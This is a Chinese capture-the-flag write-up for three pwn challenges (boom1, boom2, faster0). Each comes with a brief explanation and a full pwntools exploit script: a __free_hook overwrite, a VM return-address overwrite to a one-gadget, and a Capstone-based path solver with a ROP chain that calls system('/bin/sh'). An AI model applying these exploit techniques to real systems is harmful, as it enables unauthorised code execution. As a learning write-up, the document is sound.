pwn

boom1

exp

一个语义分析的程序,好像是c4编译器(不清楚不了解,毕竟没有上过半节计算机的课),栈、text、symbol都存放在malloc出来的几块大内存上,可以定义全局变量和局部变量,局部变量存在栈上。通过局部变量leak出栈地址,再接着leak libc基地址,最后修改free_hook为onegadget一把梭。在(PS:这里已经有libc地址并且能任意写了,所以还有一大堆的利用方式,都可以用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#p = process("./pwn")
p = remote("182.92.73.10",24573)
#gdb.attach(p,'b free')
p.sendline('''
libc;
*ptr;
*stack;
chunk;
main(){
void *add;
add = &add;
stack = add + 0x18;
stack = *stack;
stack = stack -29;
libc = *stack -0x20830;
ptr = libc+0x3c67a8;
*ptr = libc+0x4526a;
free(chunk);
}
''')
p.interactive()

boom2

vmpwn题,实现了几个汇编指令,不过一大堆没用的。思路:首先获得指向libc_start_main+240的指针,并且push进栈以保存,然后通过add等指令计算出onegadget地址,再通过前面保存的指针覆写返回地址,最后getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
p = process("./pwn")
p = remote('182.92.73.10', 36642)
context.log_level = 'debug'
payload = ''
def stack_base(i):
global payload
payload += p64(0) + p64(i)
def push():
global payload
payload += p64(13)
def sub():
global payload
payload += p64(26)
def imm(n):
if n < 0:
n += 1 << 64
global payload
payload += p64(1) + p64(n)
def rm():
global payload
payload += p64(9)
def wm():
global payload
payload += p64(11)
def add():
global payload
payload += p64(25)

#获取宿主机的栈地址
stack_base((1 << 64) - 4)
rm()
push()
imm(0xe8)
sub() #reg = main_stack = stack_point - 0xe8
push()
#获取宿主机的libc_start_main+240地址

rm() #reg = *main_stack = libc_start_main+0x240
push()
#计算偏移
imm(0xD0917) #reg = offset
add() #add reg,stack
#替换libc_start_main+240也就是返回地址为onegadget
wm()


#gdb.attach(p)
p.recvuntil("Input your code>")
p.send(payload)


p.interactive()

faster0

这道题比赛的时候没有做出来。。。那个path太恶心了。然后找了pizza大佬要了脚本来看看,发现用了Capstone(嗯,不会用,所以也顺便去学了下)。大概思路就是:先获取函数地址与对应函数索引的值(比如func000就是{0:0x4008A4})形成map;然后通过Capstone获取其中的一个跳转的table,对其中的数值解析获取到跳转函数地址(call func001这些指令);然后再利用call指令中的相对偏移加上call下一指令的地址获取到跳转到目标函数的地址形成路线图;再通过路线图与前面形成的map就可以得出path。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# -*- coding:utf-8 -*-
from pwn import *
from capstone import *
elf = ELF('pwn')

fnlist = [] # idx => addr
fndict = {} # addr => idx
for i in range(101): #获取函数地址
fn = elf.sym['func{:0>3d}'.format(i)]
fnlist.append(fn)
fndict[fn] = i


cs = Cs(CS_ARCH_X86, CS_MODE_64)
cs.detail = True
def dis(addr):#获取第一条指令
buf = elf.read(addr, 16)
insn = next(cs.disasm(buf, addr))
return insn

fnmap = []
fbase = 0x4008A4
for idx, addr in enumerate(fnlist[:1]):
buf = elf.read(addr, 256)
pt1 = '89 C0 48 8D 14 85 00 00 00 00'.replace(' ', '').decode('hex')
p1 = buf.find(pt1) + len(pt1) #p1为lea rax, off_406034在函数中的偏移

i0 = dis(p1 + addr)
disp = i0.operands[1].mem.disp
tbl = disp + p1 + addr + i0.size#table地址
rels = [u32(elf.read(tbl + i * 4, 4)) for i in range(10)]#读取table并储存
dests = []
for rel in rels:
tmp = (tbl + rel) & 0xffffffff #获得对应jmp到的地址
i1 = dis(tmp + 5)
call = i1.operands[0].imm#获取call目标函数的地址
didx = fndict[call]#获取函数地址对应的函数idx
dests.append(didx)#构造出全部路线
fnmap.append(dests[:])#构造总的路线图

cur = 0
path = []
while cur != 100:
t = fnmap[cur]
path.append(t.index(cur + 1))#开始寻路
cur += 1
path = ''.join(map(str, path))#将列表转为字符串
info('path: {}'.format(path))

然后接下来就是一个简单的栈溢出,没啥好讲的,直接上完整的exp吧:

exp

首先是前面过pow的加上获得elf的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
from itertools import *
from string import printable
import hashlib
token = ****
p = remote("39.96.72.181","42732")
p.recvuntil("x[:20] = ")
dest = p.recvline()[:-1]

for i in product(printable, repeat=4):
s = ''.join(i)
x = hashlib.sha256(s).hexdigest()
x2 = x[:20]
if dest == x2:
print('string : ' + s)
p.sendline(s)
break

p.recvuntil("Please input your token:")
p.sendline(token)
p.recvuntil("Creating pwn file, please wait ...\n")
p.recvline()
p.recvline()
p.recvline()
s = p.recvline()

import base64
a = base64.b64decode(s)
f = open("pwn",'wb+')
f.write(a)
f.close()
p.interactive()

然后是elf的一个getshell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
# -*- coding:utf-8 -*-
from pwn import *
from capstone import *
elf = ELF('pwn')
libc = ELF("pwn").libc

fnlist = [] # idx => addr
fndict = {} # addr => idx
for i in range(101): #获取函数地址
fn = elf.sym['func{:0>3d}'.format(i)]
fnlist.append(fn)
fndict[fn] = i


cs = Cs(CS_ARCH_X86, CS_MODE_64)
cs.detail = True
def dis(addr):#获取第一条指令
buf = elf.read(addr, 16)
insn = next(cs.disasm(buf, addr))
return insn

fnmap = []
fbase = 0x4008A4
for idx, addr in enumerate(fnlist[:100]):
buf = elf.read(addr, 256)
pt1 = '89 C0 48 8D 14 85 00 00 00 00'.replace(' ', '').decode('hex')
p1 = buf.find(pt1) + len(pt1) #p1为lea rax, off_406034在函数中的偏移

i0 = dis(p1 + addr)
disp = i0.operands[1].mem.disp
tbl = disp + p1 + addr + i0.size#table地址
rels = [u32(elf.read(tbl + i * 4, 4)) for i in range(10)]#读取table并储存
dests = []
for rel in rels:
tmp = (tbl + rel) & 0xffffffff #获得对应jmp到的地址
i1 = dis(tmp + 5)
call = i1.operands[0].imm#获取call目标函数的地址
didx = fndict[call]#获取函数地址对应的函数idx
dests.append(didx)#构造出全部路线
fnmap.append(dests[:])#构造总的路线图

cur = 0
path = []
while cur != 100:
t = fnmap[cur]
path.append(t.index(cur + 1))#开始寻路
cur += 1
path = ''.join(map(str, path))#将列表转为字符串
info('path: {}'.format(path))
p = process("./pwn")
#p = remote(IP, PORT)
p.sendline(path)


write_ptr = 0x400640
pop_rdi = 0x0000000000406013
pop_rsi_r15 = 0x0000000000406011
write_got = 0x609018
bss = 0x609500
read_ptr = 0x400680
payload = '\x00'*0xd0
payload += p64(bss)
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi_r15)
payload += p64(write_got)
payload += p64(0)
payload += p64(write_ptr)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_ptr)
payload += p64(0x405f4a)
payload += p64(0x405F30)
p.sendline(payload)

p.recvuntil("WOW,U R GREAT !\n")
libc.address = u64(p.recv(6)+'\x00\x00')-libc.sym['write']
gdb.attach(p)
p.sendline(p64(0)+p64(pop_rdi)+p64(libc.search("/bin/sh").next())+p64(libc.sym['system']))
p.interactive()